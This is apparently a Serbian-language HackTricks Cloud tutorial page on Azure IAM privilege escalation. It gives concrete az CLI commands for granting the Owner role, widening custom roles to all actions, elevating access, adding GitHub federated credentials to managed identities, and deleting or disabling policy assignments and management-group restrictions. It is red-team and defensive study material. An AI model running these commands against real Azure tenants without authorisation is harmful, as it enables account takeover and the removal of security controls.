Az - Azure IAM Privesc (Autorizacija)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Azure IAM
Za više informacija pogledajte:
Az - Entra ID (AzureAD) & Azure IAM
Microsoft.Authorization/roleAssignments/write
Ovo dopuštenje omogućava dodeljivanje uloga principalima nad određenim opsegom, omogućavajući attacker-u da eskalira privilegije dodeljivanjem sebi privilegovanije uloge:
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
Microsoft.Authorization/roleDefinitions/Write
Ova dozvola omogućava izmenu dozvola dodeljenih roli, što napadaču omogućava eskalaciju privilegija dodeljivanjem većih ovlašćenja roli koju ima.
Kreirajte fajl role.json sa sledećim sadržajem:
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
Zatim ažurirajte dozvole uloge koristeći prethodnu definiciju pozivajući:
az role definition update --role-definition role.json
Microsoft.Authorization/elevateAccess/action
Ova dozvola omogućava podizanje privilegija i dodeljivanje ovlašćenja bilo kojem principal-u nad Azure resources. Namenjena je Entra ID Global Administrators tako da oni takođe mogu upravljati permissions nad Azure resources.
Tip
Mislim da korisnik treba da bude Global Administrator u Entra ID da bi elevate poziv radio.
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Ova dozvola omogućava dodavanje Federated credentials na managed identities. Na primer, može se dodeliti pristup Github Actions u repo jednoj managed identity. Zatim, omogućava pristup bilo kojoj korisnički definisanoj managed identity.
Primer komande za dodeljivanje pristupa repo-u na Github-u jednoj managed identity:
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Napadač koji poseduje dozvolu Microsoft.Authorization/policyAssignments/write ili Microsoft.Authorization/policyAssignments/delete nad management group, subscription, ili resource group može izmeniti ili obrisati Azure policy assignments, potencijalno onemogućivši sigurnosna ograničenja koja blokiraju određene operacije.
To omogućava pristup resursima ili funkcionalnostima koje su prethodno bile zaštićene politikom.
Obriši dodelu politike:
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Onemogućite dodelu politike:
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
Proverite izmene:
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Microsoft.Authorization/policyDefinitions/write
Napadač sa dozvolom Microsoft.Authorization/policyDefinitions/write može izmeniti Azure definicije politika, menjajući pravila koja kontrolišu bezbednosna ograničenja u celom okruženju.
Na primer, politika koja ograničava dozvoljene regione za kreiranje resursa može biti izmenjena da dozvoli bilo koji region, ili se efekat politike može promeniti tako da postane neefikasan.
Izmeniti definiciju politike:
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
Proverite promene:
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
Microsoft.Management/managementGroups/write
Napadač koji ima dozvolu Microsoft.Management/managementGroups/write može izmeniti hijerarhijsku strukturu management groups ili kreirati nove management groups, potencijalno zaobilazeći restriktivne politike primenjene na višim nivoima.
Na primer, napadač može kreirati novu management group bez restriktivnih politika i zatim premestiti subscriptions u nju.
Kreirajte novu management group:
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
Izmenite hijerarhiju management grupe:
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
Proverite izmene:
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
Microsoft.Management/managementGroups/subscriptions/write
Napadač sa dozvolom Microsoft.Management/managementGroups/subscriptions/write može premestiti pretplate između management groups, potencijalno izbeći restriktivne politike premestivši pretplatu u grupu sa manje restriktivnim ili bez politika.
Premestite pretplatu u drugu management group:
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
Proverite promene:
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

